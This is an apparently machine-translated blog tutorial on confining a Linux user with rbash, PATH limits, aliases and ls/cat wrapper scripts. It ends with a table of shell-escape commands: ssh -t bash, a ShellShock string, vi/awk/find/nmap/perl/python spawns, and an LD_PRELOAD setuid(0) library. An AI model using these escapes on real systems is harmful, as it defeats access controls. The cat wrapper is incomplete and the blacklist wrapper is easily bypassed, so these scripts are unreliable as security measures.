
有一天,出现了以下任务:在Linux中创建本地用户,对文件夹和文件的访问受限,不仅包括编辑,查看,而且仅使用允许的实用程序。 仅提供本地访问,没有网络访问。
为了避免重蹈覆辙,我要做的第一件事就是开始挖掘互联网,结果发现了以下选择:
- 通过网络服务ssh,sftp的访问限制(不适合)
- linux操作系统本身对访问权限的区分(不合适,我想要一个通用的解决方案)
- 使用chroot(不适合)
- 使用第三方实用程序(例如SELinux)(不合适)会使系统复杂化)。
搜索的结果是,找到了一种在bash shell中限制用户功能的内置机制,称为
Restricted Shell或rbash 。
它实现了以下限制:
- 无法使用cd命令更改目录
- 您不能重置或更改变量SHELL,PATH,ENV,BASH_ENV的值
- 禁止指定包含/(斜杠)的命令
- 禁止从主外壳导入功能
- 禁止使用运算符>,<,|,<>,>&,&>,>>重定向输出
- 禁止使用exec命令替换命令等。
这里有一个负号,这是安全性,因此必须在.bashrc shell的行为文件中的命令中添加别名(信息会更进一步)。
当然,rbash是开箱即用的,它不能解决所有问题,因此,作为示例,我们考虑创建一个用户并设置他的环境以完全解决问题。
此外,所有操作都是从超级用户(根)执行的。
1.创建一个有限的外壳
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash
2.创建一个用户
adduser --home /home/zuser --shell /bin/zbash zuser
3.更改目录权限
chown root.zuser /home/zuser chmod 750 /home/zuser
4.转到目录并清理它
cd ~zuser ls -a rm .bash* rm .profile ls -a
5.自定义外壳和权限
echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc
.bashrc文件定义外壳程序的行为;可以将命令或其他
选项的别名添加到此文件中。
为了确保安全,请运行以下命令:
echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc
清单继续...
6.检查工作
root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls: zuser@host: /bin/ls bash: /bin/ls: {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH: zuser@host: exit
7.添加有效的命令
ln -s /bin/ping /home/zuser/bin/ping
重要的是,必须完全指定ln命令中的路径。
8.您可以使用包装器来限制命令的选项。
mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info
9.您还可以创建用于处理文件和文件夹的包装器。
黑名单 (允许所有内容除外):
-创建一个文件
nano /var/scripts/ls
-文件内容
blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $*
黑名单-包含目录或文件黑名单的变量(以空格分隔)
-为用户zuser添加命令
chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls
该脚本允许您使用与黑名单不匹配的目录和文件的任何键执行ls命令
白名单 (禁止所有内容除外):
-创建一个文件
nano /var/scripts/cat
-文件内容
whitelist="./ /tmp/"
白名单-包含目录或文件白名单的变量(以空格分隔)
-为用户zuser添加命令
chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat
该脚本使您可以对白名单中的指定文件执行cat命令。
完成后 ,我们终于得到以下结果:
- 我们使用rbash shell创建了一个zuser用户
- 禁用了在控制台中使用自动完成功能的能力
- zuser只能从目录/ home / zuser / bin中运行实用程序
- 将ping命令添加到zuser
- 向用户zuser添加了user-info命令
- 通过包装程序限制zuser执行ls和cat命令
不幸的是,此方法不能保证100%的安全性,并且具有一定的知识和资格,用户可以离开此外壳。 感谢
Jouretz arheops YaDr的评论,他们
提供了规避外壳限制的示例。
此解决方案(Shell Escape)中存在以下漏洞,必须予以考虑:
路径 | 能够更改PATH变量 |
通过scp复制文件 | 能够上传脚本 |
通过ssh连接时,可以更改外壳 | ssh zuser@xxxx -t "/bin/bash" |
通过ssh连接时,您可以更改shell配置文件 | ssh zuser@xxxx -t "bash --noprofile" |
通过ssh连接时,可以使用ShellShock | ssh zuser@xxxx -t "() { :; }; /bin/bash" |
通过实用程序vi,vim | :!bash |
通过实用程序vi,vim | :set shell=/bin/bash :shell |
通过公用事业公司,更多,更少 | !bash |
通过查找实用程序 | find . -maxdepth 0 -execdir /bin/bash \; |
通过awk实用程序 | awk 'BEGIN {system("/bin/bash")}' |
通过nmap实用程序 | nmap --interactive |
通过nmap实用程序 | echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse |
通过Perl | perl -e 'exec "/bin/bash";' |
通过python | python -c 'import pty; pty.spawn("/bin/bash")' |
通过红宝石 | ruby: exec "/bin/bash" |
通过LD_PRELOAD | 创建evil.c文件:
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } 我们编译:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles 我们在关闭控制台的情况下将生成的evil.so文件传输到计算机并运行:
LD_PRELOAD=$PWD/evil.so ls 作为参数,任何可用的命令 |
由于存在足够多的漏洞,因此该方法只能用于非关键系统上的本地用户;对于通过ssh通过网络进行访问,最好使用chroot或其他实用程序来限制用户功能。
希望这些信息对您有所帮助。